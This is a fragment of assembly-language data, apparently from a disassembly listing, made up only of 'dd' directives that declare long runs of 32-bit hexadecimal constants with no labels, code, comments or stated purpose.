		dd 8385990h, 2AA08AFBh,	4375649Ch, 0D981760Eh, 0A94B235Dh
		dd 4CC8BD7Dh, 95343C20h, 0D86AF46Ch, 1932D1EAh,	2054A736h
		dd 7477E2Fh, 0AFE014D9h, 0AC9C591Ch, 0D558A0CFh, 9F5D2A13h
		dd 0C81F7EC7h, 0E42C92CBh, 4695967Ch, 43AC0799h, 4BAA5A10h
		dd 1595E04Ch, 0D7173474h, 0A004D4E0h, 57BD63DEh, 1D7112FCh
		dd 932AE74Eh, 70C385E8h, 10ECEF2Fh, 6875239Ch, 0B1A1C08Eh
		dd 754A2791h, 13CA88C0h, 6CB03433h, 0F89DBC3Dh,	0CC0430ABh
		dd 837D94DBh, 0A7408D03h, 8A3F7F5Bh, 2BBFD34h, 69F101E7h
		dd 0BB2D304h, 28737433h, 634E8DCBh, 0B512641Fh,	0A398133h
		dd 0BC2A0D81h, 3ADF05E8h, 1726DCFBh, 0C3A5290Fh, 0D1696561h
		dd 31FFB94Eh, 6F4124AFh, 0E87F2D5Dh, 0E3EE8FBAh, 9B7637C1h
		dd 3F8AB2CEh, 1A22FEBDh, 0F6AEAE71h, 0FB4D457Dh, 948854FDh
		dd 3EAAAD81h, 467657E9h, 2F36B30Ch, 5775CC87h, 3E53559Ah
		dd 0FB42F25Ch, 0C6093B5Eh, 0E3A17E04h, 55B216D7h, 0B06F3F38h
		dd 0EACDBD13h, 0D26F1425h, 68966050h, 0C4EF5E66h, 800312E9h
		dd 0BE8DDA96h, 0D2E65B11h, 0A8F8CD27h, 0F6907CC2h, 0F7CA2E01h
		dd 70A69EE2h, 15A796FDh, 2DE70B5Eh, 93F2EF01h, 34C0B94Bh
		dd 0ACEA2C43h, 0B350EACh, 7E67551Ah, 1C45D553h,	975727E5h
		dd 0AAC78E1Ch, 23303680h, 87801104h, 5EC42305h,	8776D0A7h
		dd 0C7792748h, 1EA58ABFh, 8749324Ch, 0FD86E5ECh, 79922370h
		dd 5526E970h, 0E42796D3h, 54717C38h, 3F60A737h,	0C8BCD81Fh
		dd 5FB81EDh, 1C16F60h, 3C02FD42h, 0F903EDF7h, 6D1DFE6Eh
		dd 0F3F22CB2h, 90AA2FCEh, 0CF1360B7h, 5BBEB0DFh, 0D1AF895Fh
		dd 6C115FD9h, 9D39390h,	3958ADFDh, 200EEF92h, 0D896ED07h
		dd 0E45CF325h, 852EA1E8h, 0BA47F41Eh, 2CE40878h, 0FE83B981h
		dd 0D63636Ah, 0C2EBF749h, 2BE29624h, 4394ABABh,	95B2D658h
		dd 43512806h, 85EC340h,	0CAE1DDC6h, 0F1F0E565h,	341A9B65h
		dd 2C54656Ah, 376BB943h, 9AFA836Ah, 0D05EC01Ch,	68D6CFBEh
		dd 78617597h, 0F456E6C6h, 0CA857ECEh, 0EBBAE307h, 6654A2DFh
		dd 0CC8BF2F9h, 7B369786h, 93DEB401h, 0F9438CDAh, 6CE94C1Ah
		dd 0FAB28063h, 0CA6D645Dh, 70662AC9h, 804CABA9h, 625403D9h
		dd 1F180A90h, 8B1CDB63h, 9D06D34h, 40D7084h, 0F484044Ch
		dd 4B61683Dh, 0B4542FA9h, 29A6EC5Bh, 41FA8A8Ch,	8B7D3D96h
		dd 1F883B7Eh, 0E5EFC9AEh, 0DF065672h, 0CBDD355Ch, 9FF61E0Ah
		dd 0ADFA13BAh, 4AB0F58h, 33B2E33Ch, 0C71A0ACDh,	788EDCA3h
		dd 972E2BD2h, 0C4C5BCE9h, 365BD201h, 0D8387180h, 93C94D2h
		dd 167FFA54h, 94D90A3Ch, 0D3CC864Ah, 2767DCB9h,	95A0ADBDh
		dd 0D3F89A5Fh, 86652C47h, 0AED3EEF8h, 33364A02h, 0F672B624h
		dd 97918B34h, 20A08EDBh, 96B01356h, 0FB30A1D5h,	3AB7B43Fh
		dd 2D814BDh, 0DB8D369Bh, 6E0ED9F0h, 0E709B3D8h,	768299B2h
		dd 0CC5D0799h, 7F9A706h, 21C5F5C3h, 0F20EFC62h,	0C386F5F5h
		dd 6F7F9B18h, 7FC2B612h, 6D17FB7Bh, 9139EAD6h, 648AE7C6h
		dd 0F41001BAh, 0DB0B6E3h, 0CD1DF58Dh, 94839EB2h, 77A9583Dh
		dd 89038DEDh, 0CD80DFF3h
		dd 0C00F890Dh, 0B8F8627Fh, 64ECFCDCh, 7835607h,	1ADB250Bh
		dd 1ED37706h, 20E3300Ch, 2E7315FEh, 0B368FB7Fh,	4030D29Eh
		dd 0D9B3D1CCh, 26B86FA8h, 7648D959h, 97A06EA9h,	6672F3FEh
		dd 0E6F7B349h, 8178EFAAh, 0E171A1B7h, 0E742421Bh, 216C536h
		dd 1F388DBFh, 0D51ECBE9h, 10129C1Bh, 55FD88Fh, 0E2274EE3h
		dd 8B0CB477h, 669CAF6Ch, 0C8528132h, 74CFF0FDh,	8A9DB7E9h
		dd 3838313Eh, 8ABB4FD6h, 27E7EEA1h, 2804E44Fh, 4E1D6BFCh
		dd 0A433BDC5h, 0A1DEF500h, 0F1509AF0h, 75ECC42Ch, 0A4DB388Fh
		dd 12F2D2E0h, 0D48FB05Fh, 4E590F44h, 0CE8FB76Fh, 3B16D520h
		dd 1FDF8CDDh, 83DFC11Fh, 0C1B96B0Fh, 64486E98h,	0AB6491CDh
		dd 75259018h, 0E3851A50h, 6A4DDFD2h, 0E13CDC9Fh, 81F8461Fh
		dd 470BB9A0h, 0F9F6F173h, 8BE506CDh, 0FDD55611h, 727A0EAFh
		dd 0A6D22121h, 0EE4B291Fh, 3A7E7ACEh, 0BCB6553Eh, 0C5100732h
		dd 89221F87h, 445721B9h, 0E0266054h, 85B59C90h,	0CB861450h
		dd 0FBF0F64Eh, 238127FAh, 0B21F65DFh, 29B3B64Bh, 0F3025C12h
		dd 0BD07C974h, 9C687A9h, 7CC5CF16h, 2986243h, 6DAE5C02h
		dd 104FC36Fh, 0BEC69495h, 2CB5E52h, 0A85CE4B3h,	915AD84Dh
		dd 8017D85Dh, 411467C8h, 62D50D91h, 0FCEB75FEh,	974602F8h
		dd 47677CE2h, 577B42C3h, 2F4FB205h, 48DDEB32h, 0E6FD7DADh
		dd 93399ECCh, 0F6EBD20Bh, 0A823F809h, 0CD475EBAh, 78932792h
		dd 29757754h, 9A259331h, 8EC254ACh, 0C0CCE462h,	61A25D95h
		dd 0F0399C1h, 0ED4F6D72h, 46947B65h, 0EF2F72D7h, 9D677694h
		dd 0AA5B4459h, 311386C6h, 0D177BE00h, 63BA00CAh, 0D80D3BB6h
		dd 0CA701E60h, 5C5A8CA0h, 3D13C781h, 0AA5A25D9h, 34F40977h
		dd 72CA749Ah, 0B492DD5h, 19ACF05Dh, 575F1879h, 1E582811h
		dd 7ADBE3Dh, 4BE65C69h,	8137008h, 0CE012F9Dh, 0AA9ADFF4h
		dd 4EEE5590h, 9E53C315h, 713F9BADh, 53B04623h, 7B7E0951h
		dd 9F41C52Dh, 4630FCFCh, 0C3A2B3D4h, 0BFA82BDBh, 1AB5C4BEh
		dd 58BE87A1h, 533EF83Ch, 4CEA1BE8h, 9DAAB28Ch, 0B8A9188Fh
		dd 3DB2043Ah, 0EE926632h, 0C25AFBB8h, 7D150879h, 42008D93h
		dd 0D2320B3Ch, 6E887B72h, 0E26193FEh, 0E631AB00h, 53A26333h
		dd 0CC3DA565h, 7E3B784Eh, 914F8BE0h, 6E82249Ch,	0C5783D4Eh
		dd 0D2A1D5DFh, 30359390h, 6D0CEE65h, 2FE49B6Ah,	6A8F8F17h
		dd 5C316A52h, 3395C34Bh, 0CEA0FD5h, 42645F6Dh, 3CA9AA93h
		dd 8E7D7621h, 6EBD24ECh, 0D37BC164h, 0B0B3E5ADh, 0D0473F5Ah
		dd 11BBC2ACh, 0EA1A18DBh, 72910DDh, 194FEAE9h, 0AD5AAE5Dh
		dd 0ABE9FE66h, 0C61DFABEh, 7F07890Fh, 33FF33ACh, 4C5C05B6h
		dd 905481Ch, 41879BA1h,	3D7F0BD4h, 0B29CFE2Eh, 0F2DCF72Fh
		dd 0B2CB0EDDh, 2397466h, 4BECD1F2h, 0DB713AEAh,	91EB6CB7h
		dd 0FF6128EDh, 9C7BC9C2h, 53BCC832h, 0F1E5D96Fh, 0A7FC2B6h
		dd 5D651E07h, 0DC24C498h, 89BFED2h, 0F7B60FE1h,	4737A0Ah
		dd 0A999DFDFh, 0FB62AFB5h, 6E06F4D2h, 18F28E4Fh, 0CA0E169h
		dd 281D3FE5h, 4231B1D5h, 0FC92E90Eh, 1276C440h,	147B9F47h
		dd 70723F93h, 66483C1Ah, 17115E07h, 0B69B55E5h,	490D511Ah
		dd 0E69D1EFDh, 0D4719578h, 282AF5BDh, 0C39E64B5h, 0E8E4F491h
		dd 9E034A77h, 3AED464Eh, 0CB55AA5Bh, 0E5E12FDFh, 8BE5100Ah
		dd 7EC126A0h, 7A1F5990h, 0BC86297Eh, 15852DBFh,	62099737h
		dd 0A4F1F4F7h, 0C48A17E4h, 535DE404h, 303D49Ah,	0AFAB2A2Dh
		dd 0B7739B8h, 3CB06400h, 600872C2h, 0AD21901Bh,	0FB824CE7h
		dd 0B67F9982h, 9AAEC7B7h, 454EAEADh, 50480235h,	0B8C3CAF7h
		dd 8105E0FEh, 0D2AE3BC5h, 844576AEh, 61A7F5CEh,	94E07412h
		dd 0C9A988BCh, 29C64CEh, 0A6EE7DD9h, 85950FDBh,	3745C397h
		dd 84D571B7h, 0B42583E2h, 70B09E23h, 57782AA5h,	8931C177h
		dd 2D1FAB33h, 532724AFh, 0D610A13Dh, 69ABA23Eh,	0AD9D3E18h
		dd 96331B1Ah, 1C0837BCh, 68ED6703h, 0C2BFD652h,	19796511h
		dd 3CC2422Ah, 96E1FE8Bh, 0BB6DE8FBh, 0E4903A30h, 4BD4D96Ch
		dd 0A95ED321h, 0F981A1CCh, 9193D2Fh, 68A5DF99h,	0CBC19415h
		dd 8EB215FBh, 80E5D79Eh, 0C4788A81h, 0E1ACCF2Ch, 5BEB408Ch
		dd 0C635E950h, 89198C79h, 0CE1A56C3h, 3C26E362h, 0FCB634BAh
		dd 0B720F0F5h, 58F78878h, 585B6897h, 0D0A2BC47h, 15674E35h
		dd 0C0F2D864h, 0B3DBD01Ah, 398606D5h, 0E1296168h, 4758E223h
		dd 0CC82B3Dh, 0EC35E195h, 0E28708B7h, 0A9780A32h, 77637B46h
		dd 0CCBB52B6h, 0F24FE79Eh, 9A182C6Ch, 6A4BE54Fh, 8AFDA91Ch
		dd 6D1E2EE5h, 351E0FEFh, 1CFD5FAh, 2FE0AF73h, 4F3A8FDh
		dd 0EFCC4C24h, 94DAAC53h, 5C313C32h, 110457C3h,	0DAB3E987h
		dd 7B4F61Ah, 5F085E7Eh,	1BD3F1BEh, 4FC493BCh, 168C1286h
		dd 75F42EE3h, 0BF099180h, 4F084B1Eh, 0B79EF9C6h, 894DA52Bh
		dd 6F78DEF9h, 0DAEE2029h, 38735BF9h, 6E89819Bh,	6054F66Dh
		dd 0FCD3C82Bh, 64407AE4h, 78B70549h, 0A1A4A87Dh, 0D4DC7B90h
		dd 13A3A801h, 98B72C38h, 0D4F88113h, 0DA2F7489h, 0A3455727h
		dd 0CF9AC18Eh, 2DF801A2h, 95E139F2h, 35EE8588h,	0DB2ED982h
		dd 9E30D90Ah, 304B7418h, 3ECC8361h, 6B6C6F9h, 0C5636786h
		dd 580C4FBDh, 7E91B128h, 6A4A0AA8h, 0E8EF213Fh,	42DBBADEh
		dd 9378B161h, 7CA1D07h,	0E83C6400h, 19368D1Ah, 143C514Fh
		dd 447C0DA9h, 0AB2E1398h, 812053E2h, 8B6C6931h,	4C0FC412h
		dd 3584ADFDh, 23807499h, 0CA5033A1h, 6A7A35C0h,	3162147Dh
		dd 9D82BC8Ch, 355E525h,	0BB69E7E6h, 0C8B8E93Ah,	1247D186h
		dd 1B7EF6EFh, 11CDFBEAh, 86928013h, 0D9041767h,	0F4732AC7h
		dd 64917C29h, 0F7A7C989h, 2AE317h, 0FA540DAEh, 2CBD3E0Dh
		dd 8EE75E97h, 56B90CA2h, 0EFD41FC8h, 6771A086h,	0FDB98F50h
		dd 0BD0A51A4h, 2F736373h, 77F82432h, 0E739575Eh, 0B42C9792h
		dd 9E715122h, 27AB4A81h, 2030E084h, 678B2CAAh, 2158BE38h
		dd 43091629h, 2CDDFC08h, 0CC4C66E3h, 0BE25E317h, 336CE9B4h
		dd 0EC4A74A8h, 5049A71Fh, 767129A7h, 0E59BCA16h, 9CAAAF1Ch
		dd 99E117F1h, 0A292911Ah, 0DA762EB5h, 73EF3342h, 0FB8910C1h
		dd 83D41D05h, 46A56AB4h, 9276509Fh, 0F8A525BBh,	0E6100E49h
		dd 7287BD2Ah, 609CB24Eh, 7BE3C2EAh, 507C96A9h, 0C41B4CFBh
		dd 0F7D22219h, 45387993h, 0F58C49Bh, 0F3162C6Eh, 82928F48h
		dd 410E2BA1h, 97F74562h, 8B00D9E7h, 0C3604801h,	2C18BBDEh
		dd 0A2E7A8ACh, 7724AEE6h, 1AC78A3Ah, 317D042Eh,	0F6A936C6h
		dd 6681173Ah, 11B7A5C5h, 838376E2h, 3DC8DBFFh, 33169B26h
		dd 0F4A68933h, 0B36393E0h, 73D8F67Bh, 7158B3E3h, 2590D00Ch
		dd 6F6F79AEh, 0B53006C6h, 988E1DB3h, 325269DCh,	0E9B1D207h
		dd 0FB8D0638h, 3F01C53Ah, 0AB9E2E08h, 9311BBD8h, 0E548845h
		dd 7C8D745Bh, 6848AD47h, 641F99FBh, 204DEADEh, 39B83EF3h
		dd 15257823h, 84790353h, 0CE20C1EDh, 62FC4C40h,	0DAA613BFh
		dd 87D70276h, 676F8D9Fh, 6F10B354h, 2CA3977Eh, 6C6A0EF3h
		dd 406ACD36h, 4CB8773Fh, 0C03F5265h, 526EA064h,	98B8CCD5h
		dd 620868A4h, 959ED2Bh,	35A08D99h, 482FAE6Bh, 387DEFF5h
		dd 54A4C6C7h, 4FE28AC9h, 0AC5C969Ch, 0F1B2328Ah, 0C20762E6h
		dd 0D915D98Fh, 7F3C7622h, 0B445D717h, 0E0174A70h, 1048C47h
		dd 9D6BC690h, 32BCC862h, 9B2A9CC4h, 0A57637A6h,	2C73194Eh
		dd 0A10625AAh, 5A9638BEh
		dd 10162996h, 5BCB05F7h, 0A126A782h, 0D029B345h, 36557F2Bh
		dd 5D9607D5h, 0EA102756h, 0AE8A78DCh, 44D8693Ch, 0F203D864h
		dd 0C1C5AB18h, 7A0E4238h, 0A0AE3F4Fh, 402FA63Bh, 5A17D31Dh
		dd 0ACCCE9B2h, 0D2659387h, 0FAE902A9h, 0FE3297B2h, 0C9035E6Ah
		dd 0CEE568F4h, 440A1D92h, 0B9AB0462h, 0B3B7FE4Eh, 14ED93B9h
		dd 1762DBFCh, 4152A59Ch, 68BDBAABh, 9077F1Bh, 0E48C18B6h
		dd 48BF4F5Fh, 0D2DC9C84h, 2145A076h, 2478D533h,	213B9EE8h
		dd 730DF9A8h, 82DBFEC0h, 0D41D7907h, 6A54650Ah,	0F0C36A3Eh
		dd 0AE3644C8h, 0F8E53827h, 9633E67Ah, 731BA6Bh,	841F507Ah
		dd 0DCED0CFAh, 0F583C903h, 6F3F9999h, 0C6818741h, 0CD94C607h
		dd 0B7B60326h, 0C6C4B4D3h, 58DA4030h, 8A374708h, 0FDD900B1h
		dd 0AD9EDBF6h, 0C0A8E3CAh, 925A5E02h, 8A6473BFh, 86952FD2h
		dd 481140CCh, 72C9ED2Eh, 50B4F966h, 77826747h, 624597B0h
		dd 226CB5A1h, 0FF484034h, 68A51A1Ah, 0DA708558h, 9E921818h
		dd 9005361Dh, 4EC07B7h,	507235B5h, 79AE6F25h, 0BDA30A3Fh
		dd 0F02C1242h, 3654F94Fh, 9FE3E562h, 0B5A16DF3h, 6B1406C0h
		dd 5859D4D5h, 6FB27AC6h, 2ED58965h, 0C616A85Ch,	256465FEh
		dd 682DD03Dh, 9C2A477h,	0FDF71E7Ch, 0F9B9960Dh,	8C68F52h
		dd 0E960E0FDh, 9D4EDDE2h, 83286C9Dh, 20DA8F0Dh,	0BE543EBh
		dd 0D169C2C7h, 0B731361h, 6B10D6E9h, 0FF68888Bh, 27E7162h
		dd 0BD1BA20Dh, 3AB0E3B8h, 1D76A2F1h, 0ACD1C899h, 0BCB2FA76h
		dd 4C224BE6h, 0CCF8DFD1h, 9339B344h, 0A343D925h, 0B1C4153h
		dd 0C70B9867h, 8370CD25h, 0EEFE05B2h, 58C4AADAh, 0AF47A3D3h
		dd 0B58A5838h, 898A179Eh, 627BA0F2h, 0A008BFF5h, 40F13F47h
		dd 0E08DFD1Ah, 70C75FFFh, 0C9D8535Bh, 31B65132h, 0FF232D2h
		dd 0A30D646Ch, 81358DE1h, 87382A6Fh, 0F31AF731h, 0A28FCF77h
		dd 0C406745Ch, 4A4F7502h, 74E843A8h, 0FAF8FF5Eh, 5ECA2A16h
		dd 9402B229h, 91BB0096h, 0A030C777h, 21BE52EEh,	4DCE195Eh
		dd 0A009C4DFh, 976A0C7Fh, 0A2355B41h, 94279ED9h, 387B9350h
		dd 0B69BAF12h, 8070D7E9h, 0E2AF9394h, 6EDBA500h, 0CBC7B365h
		dd 0ADBD587Eh, 993BAD76h, 816651C6h, 2458EC23h,	4C65E816h
		dd 4BF8C51h, 0B671C2EEh, 0E4FB3C48h, 0F7913DCBh, 358A2F2Eh
		dd 7CBE0168h, 0F074581Bh, 8EF1DF49h, 26AB13A3h,	0B04B2160h
		dd 3AEE8579h, 0C25822ABh, 8CF56EE0h, 381D9197h,	0F9A8608Eh
		dd 142A0B65h, 28AD140h,	7610B925h, 0D697FD5Eh, 4A334225h
		dd 0F61990EAh, 481BDB29h, 0CF3E4653h, 0B9B7168Eh, 4F8889A8h
		dd 0CB2F990Ah, 63427779h, 34C7D724h, 6AC6A1A1h,	0A514C2FEh
		dd 3187006Fh, 0CF9D9B73h, 20555701h, 5B757642h,	1ED0DD67h
		dd 5FE928E1h, 51BC43D3h, 1004F45Ch, 0F935DE2Ch,	0DF71AD11h
		dd 936FAEA5h, 0FF0A32D9h, 8285569Bh, 4E4B57CDh,	0A95F7E3Ah
		dd 19873B30h, 0F2EE80Eh, 0A34BFFBCh, 22540E8h, 0D2C86348h
		dd 0CDD4B102h, 0CA01950Bh, 0CFA0DBBFh, 54ED5550h, 72B97D12h
		dd 0D02DAFDBh, 0B02AFF68h, 0CC2BAF4h, 9228AFF7h, 6CF6BBF9h
		dd 53FACD98h, 5F13A00Fh, 0CFE60D93h, 0CAA40514h, 54784C03h
		dd 0C5A737C3h, 0CFD478A3h, 3E1425AAh, 0AD8B0D74h, 2F0E9979h
		dd 229FC8FBh, 0FBA1CC85h, 0BF33DB5Dh, 0D36EA5F5h, 490A9765h
		dd 0A546CF0Ah, 67D2B84Bh, 14E62841h, 587DE625h,	7BD11082h
		dd 0A6C528h, 35069A1Ch,	0A46F26A2h, 130D5D19h, 0EE31DECDh
		dd 5AC9B4E6h, 1C6BD675h, 0D8A6A401h, 0E546990h,	0E922245h
		dd 0A36F9A98h, 13ECC040h, 85FC2C7Ch, 5F88BE2h, 3E3C85FAh
		dd 7E5531EFh, 0B8B7A37Ch, 0E2E776CDh, 77C15D29h, 15E106C9h
		dd 34B103A0h, 9E19D386h, 0A3EDBCB9h, 413F1C4Ah,	4B27907Fh
		dd 0C71CD879h, 0F9238DCAh, 45E949F6h, 6E573537h, 3CC578ADh
		dd 86683302h, 62ACA9A0h, 0DB42473Dh, 429EE322h,	0F700B21Bh
		dd 8BBC36EDh, 27A8ACC2h, 9707ECD2h, 90B7D966h, 25AD0E5Dh
		dd 0E9D4B85Fh, 0FB8A2B36h, 0AC935BEDh, 1BF0C474h, 91D0061Ch
		dd 70E28B0Ah, 1948D7FCh, 0BF67B29Ah, 80FAC1B5h,	128D8295h
		dd 2B0EE09Fh, 76221141h, 6914978Ah, 997AA426h, 75D34314h
		dd 8355254h, 0B357214Bh, 0BEF5D658h, 0D9DB6C1Fh, 0CBF63F12h
		dd 0CC9CB020h, 22708831h, 2F307F80h, 0AA2CC024h, 9B0A44F1h
		dd 89A00F9Ah, 4D5082D0h, 0A71D113h, 4B0F6557h, 0FC0D210Eh
		dd 0B4408514h, 6D749C68h, 2FFF1355h, 5BF9C9E7h,	0B145073Bh
		dd 0C56448F9h, 4F48AAEEh, 0FE654AFFh, 5CAD718Eh, 28D8F464h
		dd 0C94C85C7h, 62151D80h, 87989A8h, 12376C65h, 0D60D4692h
		dd 0CCA0A32Eh, 0EAA33AFEh, 0DD26AD42h, 0B3BF6682h, 0B83ED4A2h
		dd 2B3A014Dh, 82623035h, 4DD9C7A7h, 5E36AD30h, 615D28AFh
		dd 0B78289D7h, 3CFB18EDh, 9681555Eh, 0C56A27F3h, 17A1D191h
		dd 45356E79h, 0BE5CBFCAh, 0CD8FF7AFh, 0FBF36E8Eh, 5652BA22h
		dd 4C2511A6h, 42E5B52Fh, 0E7DE8A10h, 0F2C012FDh, 0CF5A1244h
		dd 0AD6B460Ch, 56F8D2A9h, 4EFE0289h, 3B62CE9Ah,	7AB4FD60h
		dd 0EDCE5EBEh, 0A8ADDB9Ah, 536DC7EEh, 37776FBDh, 0A5551137h
		dd 2A371C29h, 0B2FE78B2h, 0F2EB85B6h, 44D1ED77h, 8B4E00Bh
		dd 0FCB18B5Fh, 0B663B84Eh, 119FD02Fh, 0CBCC92D4h, 0E6B55F6h
		dd 6212BE7Eh, 15D0C2D0h, 0B4EDF72h, 0C0BF0A97h,	0E2B9CE2Dh
		dd 7D5A3CB9h, 943B7E22h, 7E924BD7h, 6EF0BD6Ch, 6D24AAD2h
		dd 6970AE6Ch, 7638674Ch, 81CD15B6h, 0C1F8FF5Bh,	0A1439657h
		dd 1B065597h, 81E58D98h, 82553F05h, 0A4ECBD32h,	271B80FFh
		dd 5B8A07D1h, 81ECAB07h, 2A8398CCh, 0E9469AF7h,	170E5314h
		dd 6EEE131Ch, 619E42F0h, 51214D94h, 0A7C3F193h,	0D84C6372h
		dd 6E5DEC62h, 9E7555C4h, 20FDD0E4h, 3B28FEC3h, 5D7B73CCh
		dd 177C2ED4h, 0B569B9CBh, 0A0AF0B79h, 87A1BBC6h, 1B6EAD74h
		dd 42F41E1Eh, 16711BC3h, 0EC3C428Ah, 3BF8E508h,	0DE9F54Eh
		dd 725C7761h, 7F3E18F2h, 5AC7380Bh, 8C4700D4h, 5F82905Ch
		dd 6EAFCA3Eh, 0D21F042Dh, 83C2D2B3h, 165B0648h,	2CCF229Dh
		dd 62F325CEh, 3691C1FBh, 8588706Fh, 0FA3F864h, 0E7D16EC2h
		dd 0C47A5011h, 0B497A7BEh, 6A9610FBh, 7D984FD5h, 82251365h
		dd 53C949B4h, 5F27F0F0h, 422A9B6Fh, 44A94421h, 0DD128C26h
		dd 231E45FCh, 7CF6062Fh, 2A544789h, 96A0A417h, 81C36884h
		dd 8419EBFEh, 84D75C85h, 0E1829001h, 8D465882h,	0B5418A7Eh
		dd 78B912A0h, 0BB1D22EAh, 3C9630F8h, 0A5F31AF3h, 809F3FBEh
		dd 6A6A670Dh, 504427A9h, 0B0337BB0h, 680C855Dh,	59646EE9h
		dd 138EF8DAh, 7620B9CBh, 85F4874Eh, 23DD6A2Bh, 6B45049Eh
		dd 82C2A9E3h, 1C367664h, 8F60F43Eh, 0B4364183h,	0EDB677E7h
		dd 2EA119B7h, 5203CBDBh, 9D689A0Ch, 4E282F41h, 6639F3FBh
		dd 3635DEBAh, 0D59EC2DFh, 0F405C121h, 0EA50A5EEh, 9BA1FBB5h
		dd 0A1C6B31Dh, 4928FA9Ch, 4036A6D0h, 8D9796A8h,	0EC1337B2h
		dd 6A700040h, 9889F3C2h, 6FEFD94Fh, 47271F2Bh, 0FDEE551Eh
		dd 0DDB8CBE1h, 0BC720C31h, 40A32C9Fh, 1BF56F54h, 26AF6B15h
		dd 5042B980h, 297CA47Ah, 8A85F5A6h, 0CBBFFF4Eh,	7D84F59h
		dd 0D2BDA355h, 0B33B727Bh, 4AD418Eh, 1F05D41Ch,	0A89A984h
		dd 0AD1ECFE4h, 88C4166Ah, 0FEC0D952h, 0A214672Ah, 430131D3h
		dd 0A339E783h, 4E109C3Ch, 4A3693AFh, 906ED8A4h,	0A2A9153Ch
		dd 0CE64CD2Bh, 0F371EF1Ah
		dd 6F40C08Dh, 98B67D2Fh, 5CF54731h, 4EAB0838h, 2885E0F5h
		dd 0FB3D1AC1h, 0F2D99137h, 0E85609A1h, 9BEAD441h, 85475571h
		dd 0EF13286Ch, 0E365919Fh, 0F71DD111h, 4FCF8C4Bh, 0A7E587A6h
		dd 0F22098E6h, 0B389DD0Eh, 0C886D979h, 5075C4ECh, 4B1FC83Ch
		dd 5F12DA7Ch, 4EE2A152h, 48DE4090h, 39B8A08h, 11DE229Ch
		dd 11CEFF88h, 7D1DF93Fh, 0B75483C1h, 0CDB08955h, 5CCF65D1h
		dd 8CDE7500h, 73B47439h, 48B05F0Dh, 5DBBC927h, 10693A17h
		dd 3CA77D56h, 1160C669h, 7A16570Fh, 17BBD7F9h, 0A11D2C08h
		dd 0B8C11F9Ch, 1987F3F1h, 0FC27E93Ch, 0F205B2B1h, 4A23FE1Dh
		dd 0DB77754Dh, 8C6AC501h, 0E4171FA3h, 20B64190h, 0E06C9802h
		dd 6752862Fh, 8A5DCD18h, 9DE9BC06h, 5CE55AD5h, 0D89B5EC9h
		dd 14E8C928h, 0BCF25568h, 97C9A70Dh, 0E15E8E70h, 0C4E76B4Eh
		dd 9B3476F7h, 0AFDAF151h, 6CA948C3h, 6D052FAEh,	1D873E66h
		dd 96474FD6h, 80B04C6h,	70909B40h, 0A97BE2B8h, 51FF8629h
		dd 0F498A790h, 4F09E3B1h, 0D68EBE23h, 1B2ADD3Ch, 0FEA4BD6Dh
		dd 7392270Fh, 56962550h, 3119A0D6h, 0E8C254A7h,	0AA2D5BA6h
		dd 72D7D568h, 0A2DC3640h, 3F499E43h, 8E7D3E77h,	9C18B73Dh
		dd 0AF6BDCC8h, 4EAB6B2Bh, 637B951Fh, 0B973CD1Ah, 82C84BCBh
		dd 0CDAA1F9Ah, 1C8944F7h, 0C578D7B1h, 0C691B070h, 69AE983Fh
		dd 83E86DE0h, 0C8C3EDABh, 1AB9CA4Ch, 1A04C4Dh, 2E2FD2E7h
		dd 99C1BD0Ch, 0AC84B1CDh, 4A6921EAh, 958E38B7h,	0A167FD79h
		dd 2EC57427h, 78EB1A22h, 48EB4EF0h, 44B7F254h, 99EEF79Ch
		dd 1D7E4A6Fh, 539BE899h, 4475E0BCh, 0C7509501h,	4A8D76F1h
		dd 6390FDFEh, 4CE98ED1h, 0EBE4FD9Ch, 214EDDEh, 29FE3451h
		dd 6AE74B99h, 2BB7189Bh, 6403B302h, 0A43B4F50h,	510E8A2h
		dd 3B098A28h, 3367BC81h, 0C6F691Fh, 0F9A9E291h,	646D0BD5h
		dd 5F90DF45h, 6824DE16h, 793B89E5h, 0CB6ECFEEh,	0E243573Ah
		dd 42BB6B05h, 0AED6C602h, 0C3C5D95Dh, 316576C3h, 2B54E9Eh
		dd 82937EB9h, 5BBE9CCFh, 0D33BBFD8h, 254F12D0h,	0AE3BA131h
		dd 0D7BD2AB4h, 1C97927Dh, 0FF2AA074h, 0C6CB607Eh, 50E1345Bh
		dd 6096821Dh, 0E2543726h, 14A695E6h, 51DE2630h,	7264E51Fh
		dd 470E82BFh, 4FEA3891h, 0F08979Dh, 20791EFBh, 61ABDC4Fh
		dd 62C700A3h, 6AF2EE3Bh, 994BD3BFh, 0B458055Bh,	60AE8AEDh
		dd 462AF66h, 0F190B633h, 0E3F9D0E2h, 0DD27E4F7h, 34FD4511h
		dd 0A6E9E1EDh, 6AB8EE22h, 0F32D7460h, 0CCF744B0h, 0F1502512h
		dd 3BA51553h, 5FF08BBDh, 8D089257h, 0F7A537A9h,	5FBE6A1Dh
		dd 8F090454h, 6729D1D6h, 9DF7F638h, 0F2F5A1E8h,	9D815E51h
		dd 0D1A5631Fh, 3F59AE65h, 81545F67h, 0E543A973h, 0F9A28DB2h
		dd 36ECB79Bh, 27387AE3h, 0BD1493B2h, 0FCFF5B35h, 538D7Ch
		dd 40180BDCh, 7F092A63h, 0E80299BBh, 7AFA0383h,	86CFE2A6h
		dd 7BED1102h, 848F0006h, 5853A6BAh, 347C03D1h, 641A2D23h
		dd 0CFFC3B1h, 0EF2D5E3h, 0EE4B37ACh, 3807C968h,	0F1F03268h
		dd 0C4E58642h, 28AC4A74h, 427A6CD9h, 0AE0A347Ah, 3319DE2Fh
		dd 4F0F7104h, 211B78BAh, 3DCB39CFh, 27B4A881h, 0EC9C4C27h
		dd 0DCE1D856h, 3FAA1BDEh, 91617069h, 0C35BB6FCh, 66ABC49Eh
		dd 7AB9E7B6h, 52AAA804h, 24436680h, 77320665h, 95274402h
		dd 66D5B17h, 3022F1FCh,	98643C6Ch, 458E0117h, 4F4162CCh
		dd 25480991h, 0D932AAC9h, 5E1E2D73h, 0C9F16712h, 7454C56Eh
		dd 7F4E3303h, 8D235E1Eh, 2B47AA1Ah, 685E2268h, 3FF175BBh
		dd 656826D9h, 0C2E2B71Ah, 3F51F26Ch, 88CCDCB7h,	0C2BFA67Ah
		dd 7FE280B1h, 0F0E0DCAAh, 0FE1034E9h, 0B82703CDh, 2342B168h
		dd 0E881A90Ch, 980555D8h, 0A8732A6Fh, 19CD38F1h, 3AD56B2Ch
		dd 953D552Ch, 7F132E4h,	9231982Bh, 0B41CE03Fh, 0D5311829h
		dd 88E7D5Ch, 0B518F5ECh, 36080374h, 0E07A082Fh,	0C6B1149Fh
		dd 954C1E5Ah, 65D072DFh, 598CA0AEh, 759CEF8Dh, 9A73D5F2h
